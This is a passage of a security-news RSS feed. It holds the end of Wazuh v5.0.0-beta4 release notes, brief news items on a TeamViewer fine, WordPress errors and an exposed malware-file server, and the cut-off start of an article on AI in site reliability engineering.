<li>Change indexer user name and password by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4831885135" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37502" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37502/hovercard" href="https://github.com/wazuh/wazuh/pull/37502">#37502</a></li>
<li>Remove startup deprecation warning from cluster_control and agent_upgrade by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4835362636" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37509" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37509/hovercard" href="https://github.com/wazuh/wazuh/pull/37509">#37509</a></li>
<li>Change indexer username and password to wazuh-manager by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4839278273" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37520" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37520/hovercard" href="https://github.com/wazuh/wazuh/pull/37520">#37520</a></li>
<li>Fix to improve fim_sync db performance. by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hernanvalenzuela/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hernanvalenzuela">@hernanvalenzuela</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4744034552" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37180" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37180/hovercard" href="https://github.com/wazuh/wazuh/pull/37180">#37180</a></li>
<li>SCA/FIM sync lifecycle: close DBs on graceful shutdown, defer coordination during first sync, and increment SCA check version on change by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4790097835" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37353" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37353/hovercard" href="https://github.com/wazuh/wazuh/pull/37353">#37353</a></li>
<li>Fix version comparison in indexer documents updates by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4830108432" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37498" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37498/hovercard" href="https://github.com/wazuh/wazuh/pull/37498">#37498</a></li>
<li>Propagate sync errors to each module by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jpcerrone/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jpcerrone">@jpcerrone</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4752961563" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37212" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37212/hovercard" href="https://github.com/wazuh/wazuh/pull/37212">#37212</a></li>
<li>Cache indexer credentials in clusterd by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4832215168" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37504" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37504/hovercard" href="https://github.com/wazuh/wazuh/pull/37504">#37504</a></li>
<li>Standardize CHANGELOG format and keep prior versions in the bumper by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4835667651" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37513" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37513/hovercard" href="https://github.com/wazuh/wazuh/pull/37513">#37513</a></li>
<li>Warn on duplicate agent connection only when it persists by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4827846696" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37493" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37493/hovercard" href="https://github.com/wazuh/wazuh/pull/37493">#37493</a></li>
<li>Backport: Lower DBSync-not-available shutdown messages to DEBUG to 5.0.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anromerom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anromerom">@anromerom</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4856788396" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37567" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37567/hovercard" href="https://github.com/wazuh/wazuh/pull/37567">#37567</a></li>
<li>Add retry logic to indexer templates download by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4874928399" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37643" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37643/hovercard" href="https://github.com/wazuh/wazuh/pull/37643">#37643</a></li>
<li>Reduce authd enrollment log severity for expected rejections by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4846590749" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37540" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37540/hovercard" href="https://github.com/wazuh/wazuh/pull/37540">#37540</a></li>
<li>Reduce memory usage when downloading VDP feed by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Antoniogm03/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Antoniogm03">@Antoniogm03</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4795745800" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37375" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37375/hovercard" href="https://github.com/wazuh/wazuh/pull/37375">#37375</a></li>
<li>Fix server-side version bump for disconnected agent metadata updates by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4877451955" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37647" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37647/hovercard" href="https://github.com/wazuh/wazuh/pull/37647">#37647</a></li>
<li>Re-enable AWS Inspector integration tests in 5.0.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MAnDumu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MAnDumu">@MAnDumu</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4876030241" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37645" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37645/hovercard" href="https://github.com/wazuh/wazuh/pull/37645">#37645</a></li>
<li>Fix sca internal limits by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rovogel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rovogel">@rovogel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4824570694" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37438" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37438/hovercard" href="https://github.com/wazuh/wazuh/pull/37438">#37438</a></li>
<li>Silence untrustworthy FIM schema-validation errors during shutdown by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4886428969" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37688" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37688/hovercard" href="https://github.com/wazuh/wazuh/pull/37688">#37688</a></li>
<li>Fix spurious ERROR/WARNING logs during agent shutdown by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4883034413" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37673" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37673/hovercard" href="https://github.com/wazuh/wazuh/pull/37673">#37673</a></li>
<li>Fix daemon stats for analysisd by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NahuFigueroa97/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NahuFigueroa97">@NahuFigueroa97</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4840468288" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37525" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37525/hovercard" href="https://github.com/wazuh/wazuh/pull/37525">#37525</a></li>
<li>Resolve logging macro collisions and improve LogFn design (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4790797410" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37354" data-hovercard-type="issue" data-hovercard-url="/wazuh/wazuh/issues/37354/hovercard" href="https://github.com/wazuh/wazuh/issues/37354">#37354</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4802669894" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37393" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37393/hovercard" href="https://github.com/wazuh/wazuh/pull/37393">#37393</a></li>
<li>Enable authd in manager source-install integration test step by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4890660615" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37693" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37693/hovercard" href="https://github.com/wazuh/wazuh/pull/37693">#37693</a></li>
<li>Stop <code>verify-agent-conf</code> from falsely warning on agent-only wodle blocks, without breaking their validation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4884638391" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37680" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37680/hovercard" href="https://github.com/wazuh/wazuh/pull/37680">#37680</a></li>
<li>Fixing CIS 6.1.9 rule impossible permission check for /etc/group- by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hossam1522/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hossam1522">@hossam1522</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4252101380" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35405" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35405/hovercard" href="https://github.com/wazuh/wazuh/pull/35405">#35405</a></li>
<li>Lower connection socket error log to debug level in wazuh-agentd by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MAnDumu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MAnDumu">@MAnDumu</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4885894234" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37685" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37685/hovercard" href="https://github.com/wazuh/wazuh/pull/37685">#37685</a></li>
<li>Memory improvements part 2 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NahuFigueroa97/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NahuFigueroa97">@NahuFigueroa97</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4822579091" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37433" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37433/hovercard" href="https://github.com/wazuh/wazuh/pull/37433">#37433</a></li>
<li>Fix make clean-deps failing when src/external is missing by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4901090899" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37724" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37724/hovercard" href="https://github.com/wazuh/wazuh/pull/37724">#37724</a></li>
<li>fix date schema validation error in scheduled metrics by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LucioDonda/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LucioDonda">@LucioDonda</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4892142502" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37703" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37703/hovercard" href="https://github.com/wazuh/wazuh/pull/37703">#37703</a></li>
<li>Report failure when block-ip fails to block an IP by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lchico/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lchico">@lchico</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4824776124" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37439" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37439/hovercard" href="https://github.com/wazuh/wazuh/pull/37439">#37439</a></li>
<li>Fix rename race on logcollector file status during shutdown by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Miguevrgo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Miguevrgo">@Miguevrgo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4891170282" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37695" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37695/hovercard" href="https://github.com/wazuh/wazuh/pull/37695">#37695</a></li>
<li>Calibrate log levels in router and vulnerability_scanner by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4902123164" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37731" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37731/hovercard" href="https://github.com/wazuh/wazuh/pull/37731">#37731</a></li>
<li>Adds AR Windows binary extension fallback by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rjcausarano/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rjcausarano">@rjcausarano</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4828497169" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37496" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37496/hovercard" href="https://github.com/wazuh/wazuh/pull/37496">#37496</a></li>
<li>Lower httpsrv C++ standard from 20 to 17 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4912257627" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37751" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37751/hovercard" href="https://github.com/wazuh/wazuh/pull/37751">#37751</a></li>
<li>Add new indexer API roles mapping by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jepalfer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jepalfer">@jepalfer</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4910791091" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37746" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37746/hovercard" href="https://github.com/wazuh/wazuh/pull/37746">#37746</a></li>
<li>Fix Windows block-ip firewall-enabled check misfire and ineffective route fallback by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nbertoldo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nbertoldo">@nbertoldo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4821040019" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37430" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37430/hovercard" href="https://github.com/wazuh/wazuh/pull/37430">#37430</a></li>
<li>Free rpm macro context to stop unbounded growth by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4916015744" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37758" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37758/hovercard" href="https://github.com/wazuh/wazuh/pull/37758">#37758</a></li>
<li>Report modulesSync failure as debug during agent shutdown by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anromerom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anromerom">@anromerom</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4886452693" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37689" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37689/hovercard" href="https://github.com/wazuh/wazuh/pull/37689">#37689</a></li>
<li>Report manager-not-ready sync failures as deferred by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anromerom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anromerom">@anromerom</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4894783919" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37720" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37720/hovercard" href="https://github.com/wazuh/wazuh/pull/37720">#37720</a></li>
<li>wazuh-engine: Indexer connector exponential backoff by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/matigarciadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/matigarciadev">@matigarciadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4914391566" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37756" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37756/hovercard" href="https://github.com/wazuh/wazuh/pull/37756">#37756</a></li>
<li>Fix issue reference in the daemons stats changelog entry by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4938483459" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37827" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37827/hovercard" href="https://github.com/wazuh/wazuh/pull/37827">#37827</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/wazuh/wazuh/compare/v5.0.0-beta3...v5.0.0-beta4"><tt>v5.0.0-beta3...v5.0.0-beta4</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cyberangriff: Bafin verhängt 240.000 Euro-Strafe gegen Teamviewer - Golem.de]]></title>
<description><![CDATA[... CybercrimeHackerTeamviewerFernwartung. Weitere interessante Artikel. Kommentare. Error: Kommentare konnten nicht abgerufen werden! Weitere ...]]></description>
<link>https://tsecurity.de/de/3683333/it-security-nachrichten/cyberangriff-bafin-verhaengt-240000-euro-strafe-gegen-teamviewer-golemde/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683333/it-security-nachrichten/cyberangriff-bafin-verhaengt-240000-euro-strafe-gegen-teamviewer-golemde/</guid>
<pubDate>Tue, 21 Jul 2026 12:09:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[... <b>Cybercrime</b>HackerTeamviewerFernwartung. Weitere interessante Artikel. Kommentare. Error: Kommentare konnten nicht abgerufen werden! Weitere ...]]></content:encoded>
</item>
<item>
<title><![CDATA[Die 10 häufigsten WordPress-Fehler und die passenden Lösungen]]></title>
<description><![CDATA[WordPress-Fehler machen Website-Betreibern und -Besuchern immer mal wieder zu schaffen. Viele kennen wahrscheinlich die Situation, dass man eine Website aufrufen will und WordPress lediglich eine weiße Seite anzeigt. Zum Glück gibt es für jeden typischen WordPress-Error eine passende Lösung. Man ...]]></description>
<link>https://tsecurity.de/de/3683153/server/die-10-haeufigsten-wordpress-fehler-und-die-passenden-loesungen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683153/server/die-10-haeufigsten-wordpress-fehler-und-die-passenden-loesungen/</guid>
<pubDate>Tue, 21 Jul 2026 11:15:39 +0200</pubDate>
<category>🐧 Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img src="https://www.ionos.de/digitalguide/fileadmin/DigitalGuide/Teaser/wordpress-errors-t.jpg" width="1200" height="630" alt=""><br>WordPress-Fehler machen Website-Betreibern und -Besuchern immer mal wieder zu schaffen. Viele kennen wahrscheinlich die Situation, dass man eine Website aufrufen will und WordPress lediglich eine weiße Seite anzeigt. Zum Glück gibt es für jeden typischen WordPress-Error eine passende Lösung. Man muss keinesfalls Profi sein, um die häufigsten WordPress-Fehler zu beheben. Der Ratgeber von IONOS hilft Ihnen, Ihre WordPress-Website bei Problemen schnell wieder funktionstüchtig zu machen.]]></content:encoded>
</item>
<item>
<title><![CDATA[One Security Alert Exposed a GenAI-Powered Malware Factory Containing More Than 1,000 Attack Files]]></title>
<description><![CDATA[A single security alert has exposed an unusually detailed view of how a threat actor builds, tests, and delivers malware. The exposed WebDAV server held more than 1,000 files, including phishing lures, shortcut files, droppers, testing notes, and tools used to track victim activity. The operation...]]></description>
<link>https://tsecurity.de/de/3683140/it-security-nachrichten/one-security-alert-exposed-a-genai-powered-malware-factory-containing-more-than-1000-attack-files/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683140/it-security-nachrichten/one-security-alert-exposed-a-genai-powered-malware-factory-containing-more-than-1000-attack-files/</guid>
<pubDate>Tue, 21 Jul 2026 11:10:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A single security alert has exposed an unusually detailed view of how a threat actor builds, tests, and delivers malware. The exposed WebDAV server held more than 1,000 files, including phishing lures, shortcut files, droppers, testing notes, and tools used to track victim activity. The operation targeted Windows users with fake documents, identity-record downloads, error […]</p>
<p>The post <a href="https://cybersecuritynews.com/one-security-alert-exposed-a-genai-powered-malware-factory/">One Security Alert Exposed a GenAI-Powered Malware Factory Containing More Than 1,000 Attack Files</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How AI impacts site reliability engineering]]></title>
<description><![CDATA[Site reliability engineers (SREs) have the tough assignment of resolving thorny performance and reliability issues. But their primary mission is to provide devops teams with operational insights and to suggest implementation improvements on business system performance, security, and overall robus...]]></description>
<link>https://tsecurity.de/de/3683121/ai-nachrichten/how-ai-impacts-site-reliability-engineering/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683121/ai-nachrichten/how-ai-impacts-site-reliability-engineering/</guid>
<pubDate>Tue, 21 Jul 2026 11:05:12 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Site reliability engineers (SREs) have the tough assignment of resolving thorny performance and reliability issues. But their primary mission is to provide devops teams with operational insights and to suggest implementation improvements on business system performance, security, and overall robustness.</p>



<p class="wp-block-paragraph">Google introduced its <a href="https://sre.google/sre-book/part-I-introduction/">SRE playbook</a> in 2003, but it took some time for the role’s definition, tools, and techniques to become mainstream. Startups were the first to adopt observability for cloud-native applications and create dedicated SRE positions. As tools matured and SRE responsibilities became more clearly defined, larger enterprises assigned SREs to work as a bridge between devops and IT ops teams to improve resilience across a wider range of applications, APIs, and <a href="https://www.infoworld.com/article/3487711/the-definitive-guide-to-data-pipelines.html">data pipelines</a>.</p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/3689881/career-paths-for-devops-engineers-and-sres.html">SRE is a career path</a> for multidisciplinary engineers with strong investigative instincts, sharp data analytics skills, and the temperament to perform under pressure. It has become a critical responsibility as tech became mission-critical for enterprises, and it is <a href="https://drive.starcio.com/2025/02/emerging-genai-roles-hr-tech-security/">a growing role in the genAI era</a> as more businesses <a href="https://drive.starcio.com/2025/10/ai-agents-definitive-guide-saas-security-titans/">deploy AI agents</a>.</p>



<p class="wp-block-paragraph">But the critical need for resiliency and greater technological complexity brings new challenges for SREs. According to the <a href="https://neubird.ai/resources/state-of-production-reliability-and-ai-adoption/">2026 State of Production Reliability and AI Adoption report</a>, 44% of respondents experienced an outage linked to ignored or suppressed alerts in the past year, and 35% report their engineers occasionally ignore or dismiss alerts due to alert fatigue. More than 70% of alerts received are not actionable, according to 57% of organizations.</p>



<p class="wp-block-paragraph">So, is AI making the SRE’s role easier and helping businesses run more reliable technology operations? On the other hand, AI is also driving complexity, as companies deploy genAI tools and AI agents across more business functions and seek to automate more decision-making across operations.</p>



<h2 class="wp-block-heading">AIops and agentic ops aid SREs</h2>



